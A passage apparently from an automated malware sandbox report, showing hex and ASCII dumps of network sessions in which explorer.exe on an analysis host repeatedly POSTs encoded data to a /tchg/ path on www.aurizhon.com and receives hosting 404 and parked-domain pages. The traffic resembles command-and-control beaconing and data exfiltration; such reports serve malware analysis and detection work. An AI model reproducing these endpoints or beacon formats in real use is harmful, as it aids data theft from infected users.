67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 68 65 69 67 68 74 3a 31 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 6d 69 64 2e 67 69 66 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 2d 79 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 20 23 67 61 74 6f 72 62 6f 74 74 6f 6d 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6c 65 66 74 3a 33 39 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 20 23 78 78 78 7b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>404 - PAGE NOT FOUND</title>... Add Slide Outs --><script src="http://code.jquery.com/jquery-3.3.1.min.js"></script> <script src="/cgi-sys/js/simple-expand.min.js"></script> <style type="text/css"> body{padding:0;margin:0;font-family:helvetica;} #container{margin:20px auto;width:868px;} #container #top404{background-image:url('/cgi-sys/images/404top_w.jpg');background-repeat:no-repeat;width:868px;height:168px;} #container #mid404{background-image:url('/cgi-sys/images/404mid.gif');background-repeat:repeat-y;width:868px;} #container #mid404 #gatorbottom{position:relative;left:39px;float:left;} #container #mid404 #xxx{
May 30, 2023 11:10:17.907623053 CEST	945	IN	Data Raw: 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 3a 34 30 70 78 20 33 39 37 70 78 20 31 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 20 61 75 74 6f 20 2d 31 30 70 78 20 61 75 74 6f 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e Data Ascii: float:left;padding:40px 397px 10px; margin: auto auto -10px auto} #container #mid404 #content{float:left;text-align:center;width:868px;} #container #mid404 #content #errorcode{font-size:30px;font-weight:800;} #container
May 30, 2023 11:10:17.907661915 CEST	946	IN	Data Raw: 34 20 23 63 6f 6e 74 65 6e 74 20 23 61 63 63 6f 72 64 69 6f 6e 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 35 25 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 Data Ascii: 4 #content #accordion p {font-size: 95%; text-align: left;} #container #mid404 #content #accordion h3 {font-weight: bold;} #container #mid404 #content #accordion h4 {font-weight: bold; font-style: italic; text-align: left;} .co
May 30, 2023 11:10:17.907713890 CEST	947	IN	Data Raw: 63 61 75 73 65 20 79 6f 75 20 68 61 76 65 20 48 6f 74 20 4c 69 6e 6b 20 50 72 6f 74 65 63 74 69 6f 6e 20 74 75 72 6e 65 64 20 6f 6e 20 61 6e 64 20 74 68 65 20 64 6f 6d 61 69 6e 20 69 73 20 6e 6f 74 20 6f 6e 20 74 68 65 20 6c 69 73 74 20 6f 66 20 Data Ascii: cause you have Hot Link Protection turned on and the domain is not on the list of authorized domains.</p><p>If you go to your temporary url (http://ip/~username/) and get this error, there maybe a problem with the rule set stored in
May 30, 2023 11:10:17.907758951 CEST	949	IN	Data Raw: 6e 67 3e 20 69 73 20 69 6d 70 6f 72 74 61 6e 74 20 69 6e 20 74 68 69 73 20 65 78 61 6d 70 6c 65 2e 20 4f 6e 20 70 6c 61 74 66 6f 72 6d 73 20 74 68 61 74 20 65 6e 66 6f 72 63 65 20 63 61 73 65 2d 73 65 6e 73 69 74 69 76 69 74 79 20 3c 73 74 72 6f Data Ascii: ng> is important in this example. On platforms that enforce case-sensitivity <strong>e</strong>xample and <strong>E</strong>xample are not the same locations.</p><p>For addon domains, the file must be in public_html/addondomain.com/ex
May 30, 2023 11:10:17.907795906 CEST	950	IN	Data Raw: 6f 6e 73 2e 3c 2f 70 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 69 64 3d 22 77 70 22 3e 0a 09 09 09 09 09 09 3c 68 33 3e 3c 61 20 63 6c 61 73 73 3d 22 65 78 70 61 6e 64 Data Ascii: ons.</p></div></div><div id="wp"><h3><a class="expander" href=#>404 Errors After Clicking WordPress Links</a></h3><div class="content"><p>When working with WordPress, 404 Page Not Found errors can
May 30, 2023 11:10:17.907839060 CEST	951	IN	Data Raw: 69 74 20 79 6f 75 72 20 2e 68 74 61 63 63 65 73 73 20 66 69 6c 65 20 64 69 72 65 63 74 6c 79 2e 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 3c 68 34 3e 3c 75 3e 4f 70 74 69 6f 6e 20 32 3a 20 4d 6f 64 69 66 79 20 74 68 65 20 2e 68 74 61 63 63 65 73 73 Data Ascii: it your .htaccess file directly.</p><h4><u>Option 2: Modify the .htaccess File</u></h4><p>Add the following snippet of code<em> </em>to the top of your .htaccess file:</p><div class="code"><p>#
May 30, 2023 11:10:17.907885075 CEST	953	IN	Data Raw: 72 79 20 63 6f 6d 6d 6f 6e 20 64 69 72 65 63 74 69 76 65 73 20 66 6f 75 6e 64 20 69 6e 20 61 20 2e 68 74 61 63 63 65 73 73 20 66 69 6c 65 2c 20 61 6e 64 20 6d 61 6e 79 20 73 63 72 69 70 74 73 20 73 75 63 68 20 61 73 20 57 6f 72 64 50 72 65 73 73 Data Ascii: ry common directives found in a .htaccess file, and many scripts such as WordPress, Drupal, Joomla and Magento add directives to the .htaccess so those scripts can function.</p><p>It is possible that you may need to edit the .htaccess
May 30, 2023 11:10:17.907924891 CEST	954	IN	Data Raw: 6e 61 67 65 72 3c 2f 73 74 72 6f 6e 67 3e 20 69 63 6f 6e 2e 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 43 68 65 63 6b 20 74 68 65 20 62 6f 78 20 66 6f 72 26 6e 62 73 70 3b 3c 73 74 72 6f 6e 67 3e 44 6f 63 75 6d 65 6e 74 20 52 6f 6f Data Ascii: nager</strong> icon.</li><li>Check the box for <strong>Document Root for</strong> and select the domain name you wish to access from the drop-down menu.</li><li>Make sure <strong>Show Hidden Files (dotfiles)</stro
May 30, 2023 11:10:17.907957077 CEST	955	IN	Data Raw: 20 76 65 72 73 69 6f 6e 20 75 6e 74 69 6c 20 79 6f 75 72 20 73 69 74 65 20 77 6f 72 6b 73 20 61 67 61 69 6e 2e 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 4f 6e 63 65 20 63 6f 6d 70 6c 65 74 65 2c 20 79 6f 75 20 63 61 6e 20 63 6c 69 Data Ascii: version until your site works again.</li><li>Once complete, you can click <strong>Close</strong> to close the File Manager window.</li></ol></div></div></div></div> </div> <d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.11.20	49802	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:23.137608051 CEST	956	OUT	POST /tchg/ HTTP/1.1 Host: www.aurizhon.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.aurizhon.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.aurizhon.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 7e 74 45 75 6c 62 51 4f 56 6c 35 70 6f 76 59 2d 6c 70 6d 6b 64 4d 61 5a 58 34 31 57 71 4f 7e 4f 45 47 52 45 49 76 4b 45 76 6d 61 61 66 37 4a 6e 77 78 51 34 35 4f 67 68 6b 4f 4e 61 49 4a 6a 64 5a 77 76 77 6d 36 4f 53 42 32 75 34 34 56 30 7a 61 5f 57 4c 76 4a 62 38 32 6a 53 74 52 46 6c 33 53 53 35 79 43 55 6f 52 44 77 6b 79 35 35 31 44 68 61 4b 74 34 51 79 51 57 32 46 37 33 56 76 6a 6b 74 53 51 35 44 67 63 62 45 53 5a 65 54 67 74 4e 78 42 31 57 59 4a 52 79 6a 34 6c 34 30 79 79 50 47 53 76 68 39 76 51 6c 6a 72 4f 48 44 57 30 4f 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=~tEulbQOVl5povY-lpmkdMaZX41WqO~OEGREIvKEvmaaf7JnwxQ45OghkONaIJjdZwvwm6OSB2u44V0za_WLvJb82jStRFl3SS5yCUoRDwky551DhaKt4QyQW2F73VvjktSQ5DgcbESZeTgtNxB1WYJRyj4l40yyPGSvh9vQljrOHDW0Ow).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.11.20	49803	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:25.687167883 CEST	957	OUT	POST /tchg/ HTTP/1.1 Host: www.aurizhon.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.aurizhon.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.aurizhon.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 7e 74 45 75 6c 62 51 4f 56 6c 35 70 75 4c 6b 2d 70 71 7e 6b 63 73 61 47 4a 6f 31 57 39 65 28 4a 45 47 64 45 49 75 50 50 76 51 71 61 59 5a 52 6e 78 77 51 34 77 65 67 68 32 75 4e 62 48 70 6a 57 5a 77 6a 53 6d 5f 32 53 42 32 71 34 37 48 38 7a 4c 5f 57 49 37 35 62 37 78 6a 53 6f 47 31 6c 48 53 54 45 64 43 56 4d 52 44 68 59 79 36 36 64 44 74 75 65 69 70 41 79 53 65 57 46 36 39 31 76 58 6b 74 65 75 35 42 68 6e 62 58 4f 5a 65 7a 41 74 4d 78 42 32 59 6f 4a 63 74 54 35 6b 72 32 6e 72 42 6e 36 74 33 5f 48 30 69 6a 65 46 43 53 4c 50 66 43 68 57 4c 64 72 6f 74 37 50 55 77 33 63 69 4c 61 72 4c 30 5a 73 6a 76 52 32 57 53 67 76 34 37 7a 69 31 43 68 33 6e 72 48 7e 76 43 54 5a 5a 72 36 77 52 28 4d 61 75 36 5a 6f 58 68 35 73 4e 61 53 49 41 39 66 6d 46 56 2d 76 4b 35 67 6b 79 77 43 56 31 63 46 4d 64 61 68 32 66 6d 50 66 30 57 34 4a 76 33 44 4f 76 65 56 6a 6a 6c 4a 7e 69 28 52 4a 49 28 50 63 71 5a 34 56 56 71 54 50 57 6d 4e 37 54 32 68 4a 59 66 31 45 75 6c 7a 51 67 69 48 45 6a 4a 64 7a 4c 41 33 43 46 70 43 53 69 4e 51 53 4e 37 59 56 32 34 33 57 45 4d 4e 70 6a 70 31 48 47 39 6e 47 39 42 4c 4c 2d 54 56 45 71 36 35 62 74 68 6a 5a 43 61 71 78 71 71 5a 36 78 75 70 6d 6e 7a 4c 50 71 4f 70 44 61 45 75 6d 43 6e 59 63 6a 5a 78 30 47 59 6b 65 7a 54 41 43 32 73 31 51 66 6b 37 76 45 64 75 38 72 54 76 4d 74 79 58 44 46 4f 4f 38 74 71 6f 55 49 58 44 46 47 4d 59 61 4c 70 33 5a 53 33 61 64 6b 4f 38 51 53 76 63 32 6e 6d 45 68 4a 69 46 7e 68 70 4d 4e 44 38 6a 50 5a 4c 71 55 62 45 49 47 2d 6f 61 64 4d 37 63 62 33 65 68 7a 68 4d 46 7a 45 32 35 51 63 35 33 43 42 31 31 55 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=~tEulbQOVl5puLk-pq~kcsaGJo1W9e(JEGdEIuPPvQqaYZRnxwQ4wegh2uNbHpjWZwjSm_2SB2q47H8zL_WI75b7xjSoG1lHSTEdCVMRDhYy66dDtueipAySeWF691vXkteu5BhnbXOZezAtMxB2YoJctT5kr2nrBn6t3_H0ijeFCSLPfChWLdrot7PUw3ciLarL0ZsjvR2WSgv47zi1Ch3nrH~vCTZZr6wR(Mau6ZoXh5sNaSIA9fmFV-vK5gkywCV1cFMdah2fmPf0W4Jv3DOveVjjlJ~i(RJI(PcqZ4VVqTPWmN7T2hJYf1EulzQgiHEjJdzLA3CFpCSiNQSN7YV243WEMNpjp1HG9nG9BLL-TVEq65bthjZCaqxqqZ6xupmnzLPqOpDaEumCnYcjZx0GYkezTAC2s1Qfk7vEdu8rTvMtyXDFOO8tqoUIXDFGMYaLp3ZS3adkO8QSvc2nmEhJiF~hpMND8jPZLqUbEIG-oadM7cb3ehzhMFzE25Qc53CB11U.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.11.20	49804	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:28.234545946 CEST	959	OUT	POST /tchg/ HTTP/1.1 Host: www.aurizhon.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.aurizhon.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.aurizhon.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 7e 74 45 75 6c 62 51 4f 56 6c 35 70 75 4c 6b 2d 70 71 7e 6b 63 73 61 47 4a 6f 31 57 39 65 28 4a 45 47 64 45 49 75 50 50 76 51 69 61 66 71 5a 6e 33 54 6f 34 69 4f 67 68 31 75 4e 65 48 70 6a 50 5a 77 37 57 6d 5f 4c 6e 42 30 43 34 7e 45 45 7a 4c 71 69 49 77 5a 62 2d 38 7a 53 75 52 46 6c 70 53 53 35 63 43 56 6f 72 44 77 73 79 35 34 46 44 67 35 69 74 31 41 79 51 65 57 46 2d 71 6c 76 31 6b 74 62 31 35 42 39 6e 62 56 4b 5a 4d 77 34 74 41 47 56 32 56 59 4a 64 6a 7a 35 33 38 6d 6e 6f 42 6e 75 66 33 5f 48 4f 69 6d 36 46 43 53 72 50 4e 42 35 5a 4c 39 72 6f 6c 62 50 58 30 33 42 72 4c 65 4b 59 30 61 77 6a 76 57 4b 57 53 41 76 34 28 57 4f 79 42 42 33 68 68 6e 7e 30 47 54 56 72 72 36 4e 6f 28 4a 43 75 39 6f 4d 58 67 49 73 4e 59 33 38 41 7a 66 6d 62 49 75 75 41 76 51 6b 75 77 47 77 63 63 47 56 71 61 6a 36 66 6c 75 28 30 47 4a 49 35 6c 6a 50 71 43 46 69 68 68 49 43 2d 28 52 35 55 28 50 63 36 5a 36 35 56 70 6a 28 57 30 4a 76 51 37 52 4a 68 5a 31 46 36 72 54 63 75 69 45 77 72 4a 64 62 62 41 32 4b 46 76 69 53 69 4a 33 4f 4b 68 59 56 39 77 58 58 5a 43 74 6f 31 70 31 4b 76 39 6d 44 49 42 34 50 2d 53 6c 55 71 28 70 62 71 6e 44 5a 47 56 4b 78 77 75 5a 36 78 75 70 71 7a 7a 4c 54 71 4f 59 72 61 43 63 7e 43 69 4a 63 6a 62 78 30 4d 59 6b 65 69 54 41 4f 46 73 31 70 2d 6b 34 48 71 64 73 51 72 54 37 6f 74 7a 6d 44 4b 62 75 38 6f 75 6f 55 54 59 6a 42 33 4d 59 47 54 70 33 4a 73 33 74 4e 6b 41 63 41 53 7e 4d 32 6b 74 45 68 4f 79 56 28 36 74 4d 51 61 38 6a 54 4a 4c 70 4a 44 45 50 36 2d 70 4e 51 6e 70 59 76 30 48 33 75 49 50 7a 33 44 7a 4a 51 78 76 31 36 64 6a 68 53 42 49 31 58 4a 49 63 50 42 4e 72 4f 2d 35 39 7e 4c 4e 64 65 43 36 59 31 4d 47 49 31 6e 28 39 59 77 6e 35 75 41 61 39 4d 5f 71 45 46 51 4a 66 35 6d 6c 2d 52 4e 78 41 30 56 4b 77 30 34 46 63 35 73 53 62 4d 36 38 71 64 58 4c 6d 4a 7a 38 73 30 70 73 45 30 64 77 58 4a 70 47 4d 39 67 66 32 73 56 4b 6a 42 33 56 76 38 49 7e 36 70 42 4b 6e 37 69 30 50 45 59 6b 52 4e 52 76 31 43 67 61 31 6f 4c 31 51 6d 37 59 32 56 76 72 71 71 42 63 66 36 2d 64 2d 32 38 66 63 56 71 4a 42 77 7a 46 48 52 46 33 75 68 64 54 55 77 5a 70 52 56 79 64 5f 61 57 4f 6d 58 38 76 43 76 68 6e 58 4a 4e 7e 67 6d 6e 55 46 37 6f 73 79 61 65 32 52 65 51 36 71 6c 30 34 46 37 74 51 38 31 44 4f 63 55 6b 38 6b 64 70 61 51 5a 71 36 79 53 49 6a 72 78 45 50 4c 55 56 77 57 50 6c 55 71 70 47 50 37 5a 73 63 72 52 42 6a 6b 56 51 34 59 32 68 4f 77 53 41 75 45 44 73 6b 75 7e 4b 6c 39 58 41 39 50 67 37 33 65 72 52 58 53 37 32 6e 7a 31 49 54 31 64 43 44 37 54 4b 77 5f 6f 67 77 77 43 70 4c 75 31 6f 44 32 36 7a 4b 65 33 69 72 41 45 79 55 46 39 58 43 32 38 49 4c 76 70 52 55 50 4a 71 71 46 32 75 4b 57 6d 4a 61 51 7a 56 38 46 75 6e 57 43 59 7a 44 56 Data Ascii: O0qEM=~tEulbQOVl5puLk-pq~kcsaGJo1W9e(JEGdEIuPPvQiafqZn3To4iOgh1uNeHpjPZw7Wm_LnB0C4~EEzLqiIwZb-8zSuRFlpSS5cCVorDwsy54FDg5it1AyQeWF-qlv1ktb15B9nbVKZMw4tAGV2VYJdjz538mnoBnuf3_HOim6FCSrPNB5ZL9rolbPX03BrLeKY0awjvWKWSAv4(WOyBB3hhn~0GTVrr6No(JCu9oMXgIsNY38AzfmbIuuAvQkuwGwccGVqaj6flu(0GJI5ljPqCFihhIC-(R5U(Pc6Z65Vpj(W0JvQ7RJhZ1F6rTcuiEwrJdbbA2KFviSiJ3OKhYV9wXXZCto1p1Kv9mDIB4P-SlUq(pbqnDZGVKxwuZ6xupqzzLTqOYraCc~CiJcjbx0MYkeiTAOFs1p-k4HqdsQrT7otzmDKbu8ouoUTYjB3MYGTp3Js3tNkAcAS~M2ktEhOyV(6tMQa8jTJLpJDEP6-pNQnpYv0H3uIPz3DzJQxv16djhSBI1XJIcPBNrO-59~LNdeC6Y1MGI1n(9Ywn5uAa9M_qEFQJf5ml-RNxA0VKw04Fc5sSbM68qdXLmJz8s0psE0dwXJpGM9gf2sVKjB3Vv8I~6pBKn7i0PEYkRNRv1Cga1oL1Qm7Y2VvrqqBcf6-d-28fcVqJBwzFHRF3uhdTUwZpRVyd_aWOmX8vCvhnXJN~gmnUF7osyae2ReQ6ql04F7tQ81DOcUk8kdpaQZq6ySIjrxEPLUVwWPlUqpGP7ZscrRBjkVQ4Y2hOwSAuEDsku~Kl9XA9Pg73erRXS72nz1IT1dCD7TKw_ogwwCpLu1oD26zKe3irAEyUF9XC28ILvpRUPJqqF2uKWmJaQzV8FunWCYzDV
May 30, 2023 11:10:28.234597921 CEST	963	OUT	Data Raw: 4c 2d 4e 53 47 49 28 78 51 35 75 4f 7e 68 4f 67 73 6b 33 36 7e 75 38 32 4b 76 4b 41 52 4a 30 62 51 78 55 66 52 79 7e 41 67 4d 38 4f 48 34 4c 34 4f 66 7e 71 4e 42 39 76 43 43 6a 72 74 67 77 64 69 74 53 79 4a 4f 47 70 63 30 58 4b 59 7a 4a 75 67 4a Data Ascii: L-NSGI(xQ5uO~hOgsk36~u82KvKARJ0bQxUfRy~AgM8OH4L4Of~qNB9vCCjrtgwditSyJOGpc0XKYzJugJonIEMhqgP-qL33wjInmFwL8GYh4AnSwOnebqurkbKzXKFboRklpHXIf1qSM6AXfT3FkRpRx8GFchdBliScV9GS4Wi15p94CmVFCOxQwA1xrzyj17Bre8qkjpwxcbCp23Th7KtZG9iTpoPvngNAvcHw(K4t4-dHJqt
May 30, 2023 11:10:28.234658957 CEST	970	OUT	Data Raw: 34 63 6e 72 53 57 6c 7a 68 6c 48 58 55 42 73 75 35 58 5a 46 6a 55 31 51 4b 63 46 4a 35 39 48 5f 62 30 34 67 62 66 28 59 41 42 78 48 6c 5a 70 77 53 66 52 74 49 43 4a 75 54 63 5a 49 59 37 6b 6b 6a 4c 37 36 73 48 6e 53 6f 37 56 4f 61 7a 66 72 74 6b Data Ascii: 4cnrSWlzhlHXUBsu5XZFjU1QKcFJ59H_b04gbf(YABxHlZpwSfRtICJuTcZIY7kkjL76sHnSo7VOazfrtkyFnllQEyfnIZKiHcOgvi6oDL33N4n96L1tA6MSuOGJXaiivw~S94jM0ah6PvQIvxslVV3hEJ5t9sd9xZw53QeCfpXXzQKECMv491GIyA5gfRfxRG0xCIwXRwwMn-m7sOB1kkiedRaxyZNlKo51peVsHoH68gDddYU
May 30, 2023 11:10:28.263580084 CEST	972	OUT	Data Raw: 5a 6a 41 46 7a 4a 32 6e 35 52 62 77 67 38 66 31 64 77 61 6a 43 32 78 67 57 63 28 5f 6b 73 69 74 61 4c 4a 66 53 66 4e 75 65 35 6d 4e 56 2d 61 45 5a 63 61 41 5a 51 4e 62 59 59 66 32 77 39 77 4e 4c 56 63 33 7a 71 66 65 59 42 5a 70 78 41 78 71 79 6d Data Ascii: ZjAFzJ2n5Rbwg8f1dwajC2xgWc(_ksitaLJfSfNue5mNV-aEZcaAZQNbYYf2w9wNLVc3zqfeYBZpxAxqymKQglyEUDoTBqJD4p0GDROxjyuD7UajgH2OzxqrvoAed6c0SEixWJSjdQRh6cHHq7AusuF9SFmIOGrpeU1-aFgZcZ9PJ5meoihxnFagPFd47Q8emwIwopEcgiwAeEnWMLHdQ2pQyEqvFtZCm7sTy_DmVG(gDJBzZe7
May 30, 2023 11:10:28.263638973 CEST	978	OUT	Data Raw: 44 7a 55 5f 58 44 4c 4b 6e 36 65 45 6f 34 39 6b 28 33 59 63 49 51 4d 37 42 36 54 38 46 54 6f 77 4a 6f 54 48 61 57 57 33 63 69 7e 48 37 2d 79 6e 6b 31 5a 67 6f 5f 63 4d 44 37 62 49 58 4d 61 5a 67 44 44 45 48 35 37 69 66 42 36 6e 4b 6a 33 77 38 51 Data Ascii: DzU_XDLKn6eEo49k(3YcIQM7B6T8FTowJoTHaWW3ci~H7-ynk1Zgo_cMD7bIXMaZgDDEH57ifB6nKj3w8QWMifMsQ4ZIQ1mw8wpwImcphT4Hvi6JeYEqw99Ih0uP82FayaamvKGEi9rArWgY4VON12bw1nOVxwY7ZCX8(OcTPHxcEzKIOuB2nGxXWXHe0XMGM3jrEJWhAEed3WpsL-EUy_Ww6y~ICqgNoFzMZtu_xOdB2Pup~18

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.11.20	49805	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:30.779905081 CEST	979	OUT	GET /tchg/?O0qEM=zvsOmuV0RkpNj9dmmLvcNYSUCKV3obfROWhQI5uFrAaJab0t5Tdz/8Us64BcH9fOYlnSp9W3WhuAhk0hcdTywJHY62KLeFNtHg==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.aurizhon.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:10:30.808104038 CEST	980	IN	HTTP/1.1 200 OK Server: hcdn Date: Tue, 30 May 2023 09:10:30 GMT Content-Type: text/html Content-Length: 10066 Connection: close Vary: Accept-Encoding x-hcdn-request-id: 7ffc97c4f0df0ff6742c6cea9d2411fa-fast-edge1 Expires: Tue, 30 May 2023 09:10:29 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 32 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 35 2e 33 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 26 73 75 62 73 65 74 3d 63 79 72 69 6c 6c 69 63 2c 63 79 72 69 6c 6c 69 63 2d 65 78 74 2c 67 72 65 65 6b 2c 67 72 65 65 6b 2d 65 78 74 2c 6c 61 74 69 6e 2d 65 78 74 2c 76 69 65 74 6e 61 6d 65 73 65 22 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link 